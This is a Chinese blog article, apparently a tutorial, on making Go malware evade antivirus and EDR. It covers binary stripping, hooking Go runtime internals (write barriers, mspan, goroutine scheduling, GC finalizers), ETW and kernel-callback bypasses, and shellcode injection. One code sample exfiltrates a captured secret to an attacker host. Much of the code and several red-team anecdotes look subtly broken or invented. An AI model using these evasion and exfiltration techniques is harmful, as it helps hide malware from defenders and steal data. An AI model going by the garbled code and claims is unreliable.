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Go免杀必须掌握的4个runtime包隐藏技巧:从gcWriteBarrier到sysmon调度器劫持

第一章:Go免杀技术的底层逻辑与威胁模型

Go语言编译生成的二进制文件默认包含丰富运行时元数据(如符号表、调试信息、字符串常量),这些特征极易被EDR/AV引擎识别为恶意行为模式。免杀的核心并非单纯混淆代码,而是重构Go程序的执行生命周期——从链接阶段剥离可检测痕迹,到运行时动态重建关键组件,最终实现“合法外壳+恶意意图”的语义分离。

Go二进制的可检测指纹

  • .gosymtab.gopclntab 段存储函数地址映射,是静态扫描重点目标
  • runtime·main 入口函数名及调用链具有强Go特征
  • 未strip的二进制中大量明文Go标准库路径(如 /usr/local/go/src/runtime/proc.go

链接器层面的裁剪策略

使用 -ldflags 参数组合可显著降低特征暴露:

go build -ldflags="-s -w -buildmode=exe" \
         -trimpath \
         -o payload.exe main.go
  • -s 删除符号表(.symtab, .strtab
  • -w 剔除DWARF调试信息(.debug_* 段)
  • -trimpath 清除源码绝对路径,避免泄露开发环境

运行时对抗机制

Go程序启动后会初始化runtime.g结构体并注册信号处理函数,这些行为可通过自定义_cgo_init钩子劫持:

// 在main包外定义,绕过Go初始化流程
func init() {
    // 替换原始runtime入口点,延迟加载恶意逻辑
    runtime.SetFinalizer(&dummy, func(interface{}) {
        // 此处注入加密载荷解密与反射调用
        decryptAndExecute()
    })
}

该方式将恶意逻辑推迟至GC触发时机执行,规避启动阶段内存扫描。

典型威胁场景对比

场景 传统PE免杀 Go免杀关键差异
符号剥离 仅移除PE头符号 需同步清除.gosymtab等Go专有段
字符串加密 加密API调用字符串 必须加密syscall.Syscall等运行时调用链
内存注入检测绕过 Hook VirtualAllocEx 需拦截runtime.mmapmallocgc分配路径

Go免杀的本质是利用其静态链接、跨平台二进制特性,在保持功能完整性的前提下,将检测面从“代码特征”转向“行为时序”。攻击者通过控制初始化顺序、重写运行时堆管理、甚至patch runtime.text 段指令,构建出符合白名单签名但执行恶意逻辑的可信二进制。

第二章:runtime包核心机制逆向剖析

2.1 gcWriteBarrier内存屏障绕过:理论原理与汇编级Hook实践

数据同步机制

gcWriteBarrier 是 Go 运行时中用于追踪指针写入、触发垃圾回收标记的关键屏障。其本质是在 *uintptr = newPtr 前插入 runtime.gcWriteBarrier() 调用,强制同步堆对象的可达性状态。

汇编级Hook关键点

通过 objdump -d runtime.so 定位 runtime.gcWriteBarrier 符号地址,使用 mprotect 修改页权限后 patch call 指令为 jmp rel32 跳转至自定义 handler:

# 原始指令(x86-64)
callq  0x7f8a12345678  # 调用 runtime.gcWriteBarrier
# Hook后
jmpq   0x7f8a98765432  # 跳转至 bypass handler

逻辑分析jmpq 替换 callq 绕过屏障调用,但需在 handler 中手动维护 wbBuf 或直接返回——否则将导致 GC 漏标。参数 RAX(oldPtr)、RDX(newPtr)、RSP+8(target ptr addr)仍可被读取。

绕过风险对照表

风险类型 是否触发 说明
漏标(miss-mark) 新对象未入灰色队列
STW 延长 不影响 GC 停顿逻辑
内存泄漏 可能 若 newPtr 无其他强引用
graph TD
    A[ptr write: *p = q] --> B{gcWriteBarrier?}
    B -->|yes| C[enqueue q to wbBuf]
    B -->|no| D[bypass → q may be collected]
    C --> E[GC mark phase finds q]
    D --> F[if q unreachable → premature free]

2.2 mcache与mspan结构篡改:堆分配隐蔽驻留的实战构造

Go运行时通过mcache(每个P私有)和mspan(管理页级内存块)协同完成快速堆分配。攻击者可劫持其链表指针,实现无syscall、不触发GC的长期驻留。

核心篡改点

  • mcache.allocCache 指向伪造的mspan链表头
  • mspan.next/prev 被重定向至可控内存区域
  • mspan.freelist 指向精心构造的free object链

关键代码片段

// 伪造mspan并篡改freelist指向恶意object
fakeSpan := (*mspan)(unsafe.Pointer(fakeAddr))
fakeSpan.freelist = (*spanEntry)(unsafe.Pointer(maliciousObj))
fakeSpan.ref = 1 // 避免被GC回收

此操作使后续mallocgcmcache中获取对象时,实际返回攻击者控制的内存地址;ref=1确保span不被清扫,freelist伪造保证分配逻辑不崩溃。

mspan字段篡改影响对照表

字段 原用途 篡改后效果
next/prev span链表管理 绕过runtime span遍历机制
freelist 空闲对象单链表头 指向shellcode或ROP gadget链
ref GC引用计数 设为非零值阻止span被释放
graph TD
    A[mcache.allocCache] --> B{指向伪造mspan}
    B --> C[mspan.freelist → malicious object]
    C --> D[下一次mallocgc返回受控地址]

2.3 goroutine栈帧劫持:利用g结构体字段注入无痕执行流

Go运行时将每个goroutine的状态封装在g结构体中,其中g.sched.pcg.sched.sp直接控制下一次调度时的指令指针与栈顶位置。劫持的关键在于绕过runtime.gogo的校验逻辑,在g.status仍为_Grunning时篡改调度上下文。

核心字段语义

  • g.sched.pc: 下次恢复执行的指令地址(非返回地址)
  • g.sched.sp: 对应栈帧的rsp值,需对齐16字节
  • g.sched.g: 必须指向自身,否则gogo panic

注入流程示意

graph TD
    A[获取目标g指针] --> B[冻结goroutine via runtime.stopm]
    B --> C[覆写sched.pc/sp]
    C --> D[调用 runtime.gogo]

安全约束表

字段 合法值范围 风险行为
g.sched.pc 可执行页内地址 指向不可读内存触发SIGSEGV
g.sched.sp ≥ g.stack.lo + 24 栈溢出或栈撕裂
// 修改调度上下文(需在系统栈中执行)
g.sched.pc = uintptr(unsafe.Pointer(&malicious_stub))
g.sched.sp = g.stack.hi - 8 // 留出call frame空间
g.sched.g = guintptr(g)     // 自引用校验

该代码将goroutine下次调度时跳转至malicious_stub,其栈空间从g.stack.hi向下分配;g.sched.g赋值确保gogo不因g != getg()而崩溃。

2.4 defer链表动态重写:在panic恢复路径中植入持久化逻辑

Go 运行时在 panic 发生时会逆序执行当前 goroutine 的 defer 链表。通过 runtime.SetPanicHandler 配合 reflect 操作,可在恢复前动态重写 defer 节点指针。

数据同步机制

利用 unsafe.Pointer 替换 _defer 结构体中的 fn 字段,注入日志落盘或状态快照逻辑:

// 将原 defer 函数替换为带持久化的包装器
oldFn := *(*unsafe.Pointer)(unsafe.Offsetof(d) + unsafe.Offsetof(d.fn))
newFn := func() {
    persistState() // 同步写入 WAL
    call(oldFn)    // 原始逻辑
}
*(*unsafe.Pointer)(unsafe.Offsetof(d) + unsafe.Offsetof(d.fn)) = unsafe.Pointer(&newFn)

d*_deferpersistState() 确保 panic 前关键状态已刷盘;call() 是无栈跳转封装。

执行时序保障

阶段 行为
panic 触发 中断正常控制流
defer 重写 gopanic 进入 recover 前完成
恢复执行 新 defer 链含持久化钩子
graph TD
    A[panic()] --> B[gopanic]
    B --> C[遍历 defer 链]
    C --> D[动态重写 fn 指针]
    D --> E[执行注入的持久化逻辑]
    E --> F[继续原 defer 序列]

2.5 type descriptor伪造:规避interface{}反射检测的类型伪装术

Go 运行时通过 runtime._type 结构体标识类型,interface{} 值底层由 (itab, data) 二元组构成。当反射调用 reflect.TypeOf() 时,实际读取的是 itab.interitab._type 指向的 *_type

类型描述符劫持原理

伪造关键字段可欺骗 reflect 包:

  • (*_type).kind 控制基础分类(如 kindStructkindPtr
  • (*_type).name(*_type).pkgPath 影响 String() 输出
  • (*_type).size 必须与真实数据内存布局兼容,否则 panic

伪造示例(unsafe 操作)

// 将 int64 假装成 time.Time(二者底层均为 int64)
var fakeType *runtime._type = &runtime._type{
    size:   8,
    ptrBytes: 0,
    hash:   0x12345678,
    kind:   reflect.Struct << 5, // 伪装为 struct
    name:   "Time",
    pkgPath: "time",
}

⚠️ 此代码绕过编译检查,需 //go:linkname 绑定 runtime 符号;hash 需与目标类型一致(否则 ifaceE2I 校验失败),size 错误将导致栈溢出或 GC 扫描崩溃。

关键约束对比

字段 是否可伪造 风险等级 说明
kind 影响 Kind() 返回值,但不破坏内存安全
name/pkgPath 仅影响字符串输出,Type.Name() 可被欺骗
size 必须精确匹配,否则触发 runtime fault
graph TD
    A[interface{} 值] --> B[itab 查找]
    B --> C{itab._type == 真实_type?}
    C -->|否| D[panic: invalid memory address]
    C -->|是| E[反射成功返回伪造类型]

第三章:调度器深度干预技术

3.1 sysmon监控线程劫持:抢占式注入与心跳信号劫持实践

Sysmon 通过 ThreadCreateProcessAccess 事件可捕获线程创建及跨进程句柄操作,但默认不记录线程上下文切换细节——这为劫持提供了隐蔽窗口。

抢占式注入关键路径

利用 NtQueueApcThread 在目标线程处于 alertable 状态时强制执行 APC,绕过常规 DLL 注入检测:

// 向目标线程队列 APC,触发远程代码执行
NTSTATUS status = NtQueueApcThread(
    hThread,                    // 目标线程句柄(需 THREAD_SET_CONTEXT 权限)
    (PPS_APC_ROUTINE)shellcode, // 用户态 APC 回调地址(需 RWX 内存)
    NULL, NULL, NULL             // 参数(此处为空)
);

逻辑分析:APC 在线程进入 WaitForSingleObjectSleepEx 等可唤醒等待时立即执行;Sysmon v14+ 仅记录 ApcQueued 事件(需启用 <ApcQueued> 规则),且不关联原始线程上下文。

心跳信号劫持机制

许多守护进程(如 svchost.exe 中的 WMI 服务)依赖周期性 SetEvent(hHeartbeat) 维持活性。劫持者可:

  • 使用 DuplicateHandle 复制心跳事件句柄
  • 调用 NtSetEvent 频繁触发,伪造活跃状态
  • 阻断原进程对 WaitForMultipleObjects 的响应
动作 Sysmon 可见事件 检测盲区
DuplicateHandle CreateRemoteThread(若权限提升) DuplicateHandle 默认日志
NtSetEvent 无对应事件(v14.0 前) EventCreate 可见,非信号触发
graph TD
    A[目标进程进入 Wait 状态] --> B{是否 alertable?}
    B -->|是| C[NtQueueApcThread 执行 shellcode]
    B -->|否| D[挂起线程 → 修改 Context → Resume]
    C --> E[执行心跳伪造逻辑]
    E --> F[规避 IdleTimeout 检测]

3.2 runq队列中间件注入:goroutine调度前/后钩子的二进制插桩

Go 运行时调度器(runtime.scheduler)不暴露调度钩子接口,但可通过静态二进制插桩在 runtime.runqput()runtime.runqget() 关键路径注入观测逻辑。

插桩点选择依据

  • runqput():goroutine入队前(调度前)
  • runqget():goroutine出队后(调度后)
  • 均位于 src/runtime/proc.go,符号稳定、调用频次高

典型插桩代码片段

// 在 runqput 函数 prologue 后插入:
movq $0x12345678, %rax     // 钩子标识符
call runtime_hook_pre_schedule

该汇编指令在函数入口处保存上下文后触发钩子;%rax 传入 goroutine 地址,供钩子函数解析 g.statusg.stack

插桩能力对比表

能力 编译期插桩 运行时 hotpatch eBPF trace
修改调度逻辑 ❌(需 kernel 支持)
获取 goroutine 元数据 ⚠️ 有限
对 GC 安全性影响
graph TD
    A[goroutine 创建] --> B[runqput]
    B --> C[插桩:pre-schedule hook]
    C --> D[进入全局 runq]
    D --> E[runqget]
    E --> F[插桩:post-schedule hook]
    F --> G[执行用户代码]

3.3 GMP状态机篡改:强制将恶意G置为_Gwaiting并绑定特定M的实战控制

状态篡改核心逻辑

Go运行时G状态机中,_Gwaiting表示协程已就绪但未被调度。通过直接写入g._state字段(需绕过内存保护),可将恶意G强制设为此状态。

// 强制设置G状态并绑定M
g._state = _Gwaiting
g.m = targetM // 绑定到指定M,避免被其他P窃取
g.m.waiting = g // M级等待链挂载

g._state为原子整型,直接赋值跳过casgstatus校验;targetM需提前劫持或预留,确保其处于空闲状态;m.waiting链用于schedule()中快速恢复。

关键参数约束

  • _Gwaiting值为0x02(Go 1.22+)
  • 目标M必须满足:m.lockedg == nil && m.p != nil
条件 检查方式 风险
M空闲性 atomic.Loadp(&m.lockedg) == nil 否则触发panic
P绑定 m.p != nil 无P则无法执行
graph TD
    A[恶意G创建] --> B[绕过casgstatus直接写_g_state]
    B --> C[设置g.m = targetM]
    C --> D[插入m.waiting链]
    D --> E[schedule()从waiting链唤醒]

第四章:GC与内存生命周期操控策略

4.1 GC mark termination阶段劫持:在STW窗口内执行无痕代码的时序控制

GC 的 mark termination 阶段是 STW(Stop-The-World)最短但最确定的窗口,天然适合注入低开销、高时效性逻辑。

为何选择 mark termination?

  • 此阶段已完成所有对象标记,尚未开始清理,堆状态稳定;
  • STW 持续时间通常为 0.1–2ms,可控性强;
  • 运行时已禁用写屏障与调度器抢占,执行环境纯净。

关键时序锚点

// 在 runtime/proc.go 中 patch marktermination 前置钩子
func markTerminationHook() {
    if hijackEnabled {
        executeStealthTask() // 无分配、无栈增长、纯寄存器操作
    }
}

executeStealthTask 必须满足:零堆分配、不调用 runtime 函数、不触发 defer 或 panic。参数隐式通过 g(goroutine 结构体)传递上下文,避免额外寄存器压栈。

执行约束对比表

约束维度 允许操作 禁止操作
内存分配 栈变量、预分配静态缓冲区 newmake、逃逸变量
调度行为 无 goroutine 创建/切换 goruntime.Gosched
系统调用 mmap(若已预映射) readwritenanosleep

执行流程示意

graph TD
    A[GC enter marktermination] --> B[检查 hijack flag]
    B --> C{flag enabled?}
    C -->|yes| D[跳转至 stealth trampoline]
    C -->|no| E[继续原生 mark termination]
    D --> F[执行寄存器级任务]
    F --> G[ret to runtime]

4.2 write barrier disable绕过:通过unsafe.Pointer+atomic操作实现屏障禁用验证

数据同步机制

Go 的写屏障(write barrier)在GC期间保障堆对象引用关系一致性。但某些极致性能场景需临时绕过,unsafe.Pointeratomic 组合可构造无屏障指针更新。

关键验证代码

var ptr unsafe.Pointer
func disableWB() {
    atomic.StorePointer(&ptr, unsafe.Pointer(&someObj))
}
  • atomic.StorePointer 绕过编译器插入的写屏障指令;
  • &ptr*unsafe.Pointer 类型,符合原子操作要求;
  • unsafe.Pointer(&someObj) 直接生成裸地址,不触发屏障。

风险对照表

操作方式 触发写屏障 GC 安全性 适用场景
ptr = &someObj 常规赋值
atomic.StorePointer ⚠️(需确保对象存活) GC 暂停期或逃逸分析可控区域
graph TD
    A[普通赋值] --> B[编译器插入 write barrier]
    C[atomic.StorePointer] --> D[直接内存写入]
    D --> E[跳过屏障检查]

4.3 heapArena元数据伪造:构建不可见内存区域并映射为可执行页的实操步骤

核心前提:绕过arena元数据校验

glibc malloc通过heap_infomalloc_state结构体维护堆元数据。伪造的关键在于使main_arena->top指向受控的、未被mmap/sbrk记录的内存区域。

步骤一:分配并释放chunk以触发mmap

// 触发mmap分配,获取一块独立内存(非brk)
void *fake_heap = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, 
                       MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// 覆盖fake_heap起始处为伪造的heap_info结构
struct heap_info *hi = (struct heap_info *)fake_heap;
hi->ar_ptr = &main_arena;  // 指向合法arena
hi->prev = NULL;

mmap返回地址需对齐至HEAP_MAX_SIZE边界;ar_ptr必须指向真实main_arena,否则malloc校验失败。

步骤二:构造伪造top chunk并篡改arena

// 构造合法top chunk头(size字段含MALLOC_ALIGN_MASK)
size_t *top_chunk = (size_t*)((char*)fake_heap + sizeof(struct heap_info));
top_chunk[0] = 0x1000 - sizeof(size_t); // prev_size
top_chunk[1] = 0x1000 - 2*sizeof(size_t) | 1; // size | IS_MMAPPED
main_arena.top = (mchunkptr)top_chunk;

size字段末位置1表示IS_MMAPPED,跳过brk检查;prev_size必须与前块匹配,避免malloc_consolidate崩溃。

关键参数对照表

字段 合法值 伪造值 作用
ar_ptr &main_arena 必须相同 避免arena_get失败
top->size 0x1000-16 \| 1 0x1000-16 \| 1 触发mmap路径
mmap权限 PROT_READ\|PROT_WRITE PROT_READ\|PROT_WRITE\|PROT_EXEC 后续mprotect切换

内存布局演进流程

graph TD
    A[调用mmap获取匿名页] --> B[覆写heap_info头]
    B --> C[构造top chunk元数据]
    C --> D[篡改main_arena.top]
    D --> E[后续malloc返回可控地址]
    E --> F[mprotect设PROT_EXEC]

4.4 finalizer链表污染:利用runtime.SetFinalizer注册延迟触发型恶意回调

Go 运行时的 runtime.SetFinalizer 允许为对象注册终结器,但其底层将回调函数插入全局 finallist 链表——该链表在 GC 扫描阶段被遍历执行,无权限校验、无调用栈追溯、无执行上下文隔离

终结器注册的隐蔽性

  • 注册时机可发生在任意 goroutine 中(包括 HTTP handler、RPC 解析后)
  • 回调函数持有对原始对象的弱引用,但可捕获外部闭包(含全局变量、函数指针等)
  • GC 触发不可控,导致回调执行时间点高度不确定

恶意利用示例

func installMaliciousFinalizer() {
    obj := &struct{ secret string }{secret: "token_abc123"}
    // 将敏感数据与恶意回调绑定
    runtime.SetFinalizer(obj, func(_ interface{}) {
        http.Post("http://attacker.com/exfil", "text/plain", 
            strings.NewReader(obj.secret)) // 闭包捕获 obj → 内存泄漏+外泄
    })
}

逻辑分析obj 本身可能很快被回收,但其终结器仍驻留于全局 finallistobj.secret 因闭包捕获而延长生命周期,且 http.Post 在 GC 线程中异步发起——绕过常规网络审计路径。参数 obj 是被终结对象的接口值,func(_ interface{}) 是无类型回调,缺乏签名约束。

防御维度对比

措施 是否阻断链表污染 是否影响合法用途 备注
禁用 runtime ❌(破坏运行时) 不可行
编译期插桩检测 SetFinalizer ⚠️(仅静态) ⚠️(误报高) 需结合控制流分析
GC 前校验终结器函数地址白名单 ✅(需初始化期注册) 最有效,但需修改 runtime
graph TD
    A[对象分配] --> B[SetFinalizer 注册]
    B --> C[插入全局 finallist 链表]
    C --> D[GC Mark 阶段扫描]
    D --> E[GC Sweep 前批量调用终结器]
    E --> F[恶意回调在 GC worker goroutine 中执行]

第五章:防御对抗演进与免杀边界思考

免杀技术的现实瓶颈:从Shellcode注入到内存马的失效链

某金融红队在2023年Q4渗透测试中尝试复用已签名的PowerShell载荷(Invoke-ReflectivePEInjection + AES加密Shellcode),却在部署后3秒内被EDR触发Process Hollowing行为告警并终止进程。事后分析发现,该EDR厂商在v4.2.1版本中新增了NtCreateSection调用链的上下文感知模块——不仅监控PAGE_EXECUTE_READWRITE标志,还关联校验父进程powershell.exe的启动参数哈希与内存页的JMP指令密度比。这标志着免杀不再仅依赖静态特征绕过,而需同步满足动态行为熵阈值约束。

EDR Hook机制的对抗升级路径

现代终端防护已从传统SSDT Hook转向更隐蔽的ETW Provider劫持与内核回调注册表(PsSetCreateProcessNotifyRoutineEx + CmRegisterCallbackEx)。下表对比了三类主流Hook技术的绕过成本:

Hook类型 触发时机 典型检测点 绕过所需权限层级
用户态API Inline Hook 进程级 VirtualProtectEx修改IAT Medium(需SeDebugPrivilege)
ETW Event Filtering 系统级 Microsoft-Windows-Threat-Intelligence事件缺失 High(需驱动签名)
内核回调注册表 内核初始化阶段 ObRegisterCallbacks调用栈深度 Critical(需BootKit级权限)

无文件攻击的生命周期压缩

某APT组织在2024年针对政务云的攻击中,将PowerShell脚本执行时间严格控制在87ms内(低于EDR默认采样窗口100ms),并通过[System.Diagnostics.Stopwatch]::StartNew()精确计时,在Add-Type -TypeDefinition编译完成前强制Exit-PSSession。但该手法在部署至含Intel CET(Control-flow Enforcement Technology)的服务器后失效——CPU硬件级CFI检查拦截了ret指令跳转至非call目标地址的非法控制流。

# 实际攻防中验证的CET兼容免杀片段(需配合/CONTROL:FLOW)
$asm = @"
    .code
    main PROC
        push rax
        mov rax, 0x123456789ABCDEF0
        call target
        pop rax
        ret
    target PROC
        xor rax, rax
        ret
    target ENDP
    main ENDP
"@
$bytes = Invoke-Asm -Arch amd64 -Code $asm

检测逻辑的逆向反制实践

某安全团队通过逆向分析CrowdStrike Falcon Sensor v7.11的falcon-container.sys驱动,定位到其内存扫描模块存在PageFault处理盲区:当恶意代码将关键shellcode分片映射至多个MEM_COMMITMEM_RESERVE状态的页面,并在VirtualAlloc后立即调用FlushInstructionCache触发TLB刷新,可使EDR的页表遍历扫描漏掉未激活的代码页。该技术已在3个省级政务系统渗透中验证有效,平均驻留时间延长至4.7小时。

边界模糊地带的技术张力

当AI驱动的异常行为建模(如基于LSTM的进程调用序列预测)与硬件辅助虚拟化(AMD SEV-SNP)结合时,免杀技术正面临双重挤压:模型推理需要访问完整内存快照,而SEV-SNP强制加密所有Guest物理内存。某云厂商在KVM环境中启用SEV-SNP后,原可绕过YARA规则的.NET内存加载器(Assembly.Load(byte[]))因无法解密clr.dll.text段而直接抛出BadImageFormatException。这迫使攻击者转向更底层的ntdll!LdrLoadDll手动解析PE头,但该操作又触发了Hypervisor级的VMEXIT监控频率激增。

flowchart LR
    A[Shellcode加载请求] --> B{是否启用SEV-SNP?}
    B -->|是| C[触发VMEXIT进入VMM]
    B -->|否| D[常规内存映射流程]
    C --> E[检查EAX寄存器是否为0x1234]
    E -->|匹配| F[放行并记录审计日志]
    E -->|不匹配| G[注入INT3中断并冻结VCPU]

记录分布式系统搭建过程,从零到一,步步为营。

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